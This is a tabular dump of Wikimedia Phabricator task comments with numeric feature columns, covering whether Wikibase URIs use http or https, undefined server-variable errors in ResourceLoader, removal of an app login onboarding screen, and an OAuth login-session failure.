* {T97195}",,,1435068079,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.7647058823529411,"Random but interesting Google results I found:
* URL
* URL (search for ""https"")

Possibly relevant but currently unlinked tickets:
* {T97195}"
479258,https switch changed wdata prefix to https:,@Lydia_Pintscher have a look above. What do you think? ,,,1434998834,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,SCREEN_NAME have a look above. What do you think? 
479306,https switch changed wdata prefix to https:,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.

So, after some digging around and talking to @Smalyshev, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 

The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documens URLs should use the https protocoll, and the plain http URLs should redirect to the https URLs, as per [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison|section 2.11 of W3C's Linked Data recommendation]]. 

However, be the same recommendations, URIs should always use the HTTP schema, see [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[https://joinup.ec.europa.eu/sites/default/files/c0/7d/10/D7.1.3%20-%20Study%20on%20persistent%20URIs.pdf|Study on persistent URIs]] by the ISA. 

We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see https://gerrit.wikimedia.org/r/#/c/219782/2

So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this, and make the canonical document URIs use plain HTTP. The downside of this is security: when resolving the document URI (or the concept URI, for that matter), which should be supported in the spirit of Open Data, then the initial request will be unencrypted, and subject to manipulation. While this is not cirticial for the application at hand, it should be avoided in general.

@Smalyshev's [[https://gerrit.wikimedia.org/r/#/c/218994/|original patch]] will change the document URIs to use plain http for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and https://gerrit.wikimedia.org/r/#/c/219001/ for that.",,,1435002542,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.25,0.0,0.0,2.0,0.25,7.0,0.75,0.0,0.25,0.25,2.25,0.0,0.0,0.0,0.0,2.0,0.5,4.25,10.25,0.0,0.75,2.0,0.25,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.25,4.25,2.0,0.5,0.0,0.0,0.25,0.5,0.0,0.5,0.0,0.25,0.25,4.5,0.25,0.0,0.0,0.0,0.25,10.25,1.25,0.25,0.75,0.25,0.0,0.0,0.0,0.25,1.0,0.25,0.0,0.5,0.0,0.25,0.0,0.0,0.0,7.25,3.5,14.25,1.5,2.5,10.0,0.0,0.0,0.0,0.0,5.25,0.5,1.5,0.0,2.75,10.25,6.5,0.5,0.25,0.0,2.75,0.0,1.0,0.75,0.0,1.5,0.25,0.0,2.0,4.134008236101579,0.6819091741020362,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.

So, after some digging around and talking toSCREEN_NAME, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 

The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documens URLs should use the https protocoll, and the plain http URLs should redirect to the https URLs, as per [[URL 2.11 of W3C's Linked Data recommendation]]. 

However, be the same recommendations, URIs should always use the HTTP schema, see [[URL section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[URL on persistent URIs]] by the ISA. 

We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see URL

So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this, and make the canonical document URIs use plain HTTP. The downside of this is security: when resolving the document URI (or the concept URI, for that matter), which should be supported in the spirit of Open Data, then the initial request will be unencrypted, and subject to manipulation. While this is not cirticial for the application at hand, it should be avoided in general.
SCREEN_NAME's [[URL patch]] will change the document URIs to use plain http for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and URL for that."
479256,https switch changed wdata prefix to https:,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.

So, after some digging around and talking to @Smalyshev, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 

The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documenr URLs should be https URLs, and the plain http urls should redirect to the https url, as per [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison|section 2.11 of W3C's Linked Data recommendation]]. 

However, be the same recommendations, URIs should always use the HTTP schema, see [[https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[https://joinup.ec.europa.eu/sites/default/files/c0/7d/10/D7.1.3%20-%20Study%20on%20persistent%20URIs.pdf|Study on persistent URIs]] by the ISA.

We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see https://gerrit.wikimedia.org/r/#/c/219782/2

So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this. @Smalyshev's [[https://gerrit.wikimedia.org/r/#/c/218994/|original patch]] will fix this for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and https://gerrit.wikimedia.org/r/#/c/219001/ for that.
",,,1434998753,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,6.666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,4.666666666666667,10.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,11.0,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,6.666666666666667,3.3333333333333335,15.666666666666666,1.3333333333333333,2.3333333333333335,9.0,0.0,0.0,0.0,0.0,5.0,0.6666666666666666,2.0,0.0,3.6666666666666665,10.0,6.0,0.6666666666666666,0.3333333333333333,0.0,3.6666666666666665,0.0,0.6666666666666666,1.0,0.0,1.6666666666666667,0.3333333333333333,0.0,2.6666666666666665,4.091731537976016,0.6746616172242094,"Sorry for the initial misunderstanding. I was thinking of concept URIs, which are controlled by the conceptBaseUri setting.

So, after some digging around and talking toSCREEN_NAME, I think he's right: the canonical document URI should use the http schema, even though the canonical document URL should be a https URL. 

The reason is: we want documents to be retrieved via HTTPS if possible, so our canonical documenr URLs should be https URLs, and the plain http urls should redirect to the https url, as per [[URL 2.11 of W3C's Linked Data recommendation]]. 

However, be the same recommendations, URIs should always use the HTTP schema, see [[URL section 2.1]]. This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the [[URL on persistent URIs]] by the ISA.

We currently construct the base URI for documents in two places, SpecialEntityData.php and dumpRdf.php. Both rely on the canonical URL of Special:EntityData. Note that the notion of canonical page URLs in core has recently been discussed, and the implementation improved, see URL

So, currently, our canonical URIs are based on canonical URLs. Considering the protocol conundrum above, we probably need to change this.SCREEN_NAME's [[URL patch]] will fix this for RDF output - do we need a more generic solution? In particular, how should URLs for rel=""alternate"" be constructed? See T96298 and URL for that.
"
477472,https switch changed wdata prefix to https:,"@daniel - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. I'm also not sure which inconsistencies the patch will lead to, could you explain?",,,1434651657,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,2.0,5.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,12.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,7.0,5.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9767441860465116,0.7441860465116279,"SCREEN_NAME - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. I'm also not sure which inconsistencies the patch will lead to, could you explain?"
477471,https switch changed wdata prefix to https:,"@daniel - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. ",,,1434651409,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.7307692307692307,"SCREEN_NAME - check out the link, conceptBaseUri is fine. However, data URL, which is derived from canonical URL, is not. "
477162,https switch changed wdata prefix to https:,"Instead of the proposed patch, which would lead to inconsistencies, just set the concept base URI explicitly in the config:

  $wgWBRepoSetting['conceptBaseUri'] = 'http://www.wikidata.org/entity/';

That would go into the wikibase.php config file, if I understand correctly.",,,1434633544,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,11.0,4.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.630434782608695,0.8260869565217391,"Instead of the proposed patch, which would lead to inconsistencies, just set the concept base URI explicitly in the config:

  $wgWBRepoSetting['conceptBaseUri'] = 'URL

That would go into the wikibase.php config file, if I understand correctly."
476685,https switch changed wdata prefix to https:,"Change 218994 had a related patch set uploaded (by Smalyshev):
T102717: Fix the RDF links always use http:

[[https://gerrit.wikimedia.org/r/218994]]
",,,1434568583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.566666666666667,0.8666666666666667,"Change 218994 had a related patch set uploaded (by Smalyshev):
T102717: Fix the RDF links always use http:

[[GERRIT_URL]]
"
102624,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,"Spotted in production:
```
      1 Undefined index: HTTP_USER_AGENT in /srv/mediawiki/php-1.26wmf9/includes/resourceloader/ResourceLoader.php on line 668
```",Medium,50.0,1434466074,1434475378.0,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-dqpbthmgjicotxfm6ioc,task_description,resolved,True,c3,2,True,False,True,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.7,"Spotted in production:
``CODE``"
475717,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,It never contained this code in any branch. It was a live hack @ori and I worked on briefly yesterday to figure out why certain clients were unable to load ResourceLoader modules. I guess it unconditionally accessed `$_SERVER` members.,,,1434475279,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,12.0,5.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.829268292682927,0.8780487804878049,It never contained this code in any branch. It was a live hackSCREEN_NAME and I worked on briefly yesterday to figure out why certain clients were unable to load ResourceLoader modules. I guess it unconditionally accessed CODE members.
475669,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,I just saw this and filed it today.,,,1434472050,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,I just saw this and filed it today.
475649,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,Is this still happening? That file in 1.26wmf9 doesn't contain any code at those lines at the moment that could trigger those errors.,,,1434470764,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.269230769230769,0.9230769230769231,Is this still happening? That file in 1.26wmf9 doesn't contain any code at those lines at the moment that could trigger those errors.
475622,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,Looks like ori has been looking at this already,,,1434469272,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.333333333333333,1.0,Looks like ori has been looking at this already
475605,Undefined index: HTTP_USER_AGENT in ResourceLoader.php,"Also `HTTP_REFERER` and `HTTP_COOKIE`, lines 670 and 672 respectively.",,,1434468180,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-dqpbthmgjicotxfm6ioc,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.8181818181818182,"Also CODE and CODE, lines 670 and 672 respectively."
102482,Disable initial login onboarding activity.,"Since we're not (yet) focusing on editors in the app, the login onboarding activity is kind of a distraction, and isn't adding much value.
[] Make sure there are no dependencies re. the Editing workflow.",Medium,50.0,1434380499,1436296777.0,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-watkhd6l37f2mnm5jn72,task_description,resolved,True,c3,2,True,True,True,-3,True,2.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,2.0,11.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,7.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,3.6956521739130435,0.8695652173913043,"Since we're not (yet) focusing on editors in the app, the login onboarding activity is kind of a distraction, and isn't adding much value.
[] Make sure there are no dependencies re. the Editing workflow."
482031,Disable initial login onboarding activity.,Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4).,,,1435267240,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4375,0.875,Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4).
479914,Disable initial login onboarding activity.,"Change 219903 merged by jenkins-bot:
Remove initial login onboarding splash screen

[[https://gerrit.wikimedia.org/r/219903]]",,,1435066650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.238095238095238,0.9047619047619048,"Change 219903 merged by jenkins-bot:
Remove initial login onboarding splash screen

[[GERRIT_URL]]"
479274,Disable initial login onboarding activity.,"Change 219903 had a related patch set uploaded (by Mholloway):
Remove initial login onboarding splash screen

[[https://gerrit.wikimedia.org/r/219903]]
",,,1435000191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-watkhd6l37f2mnm5jn72,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.269230769230769,0.8846153846153846,"Change 219903 had a related patch set uploaded (by Mholloway):
Remove initial login onboarding splash screen

[[GERRIT_URL]]
"
102276,"Phabricator: new users get ""Login cookie was set correctly, but your login session is not valid.""","Hi someusers are reporting when registering for an account using MediaWiki OAuth.

They have said the following.

I just tried to report it on Phabricator. From the home page, I clicked ""Report a problem"", and it took me to a login screen. I clicked the ""Mediawiki"" button, and it took me to the MediaWiki's OAuth screen. After I clicked ""Allow"", it came back to Phabricator, and the message, ""Login Failure. Login cookie was set correctly, but your login session is not valid. Try clearing cookies and logging in again.""
",Medium,50.0,1434135333,1435193381.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-hloyw4asqcmtaco4vprz,task_description,resolved,True,c3,2,True,False,True,-3,True,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.5,0.5,4.5,6.0,0.0,0.5,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,2.5,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,4.5,2.0,14.0,0.5,4.0,4.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,8.0,6.0,6.5,0.0,5.5,0.0,8.0,0.0,0.5,1.5,1.5,2.5,0.0,0.0,0.0,3.7586206896551726,0.7241379310344828,"Hi someusers are reporting when registering for an account using MediaWiki OAuth.

They have said the following.

I just tried to report it on Phabricator. From the home page, I clicked ""Report a problem"", and it took me to a login screen. I clicked the ""Mediawiki"" button, and it took me to the MediaWiki's OAuth screen. After I clicked ""Allow"", it came back to Phabricator, and the message, ""Login Failure. Login cookie was set correctly, but your login session is not valid. Try clearing cookies and logging in again.""
"
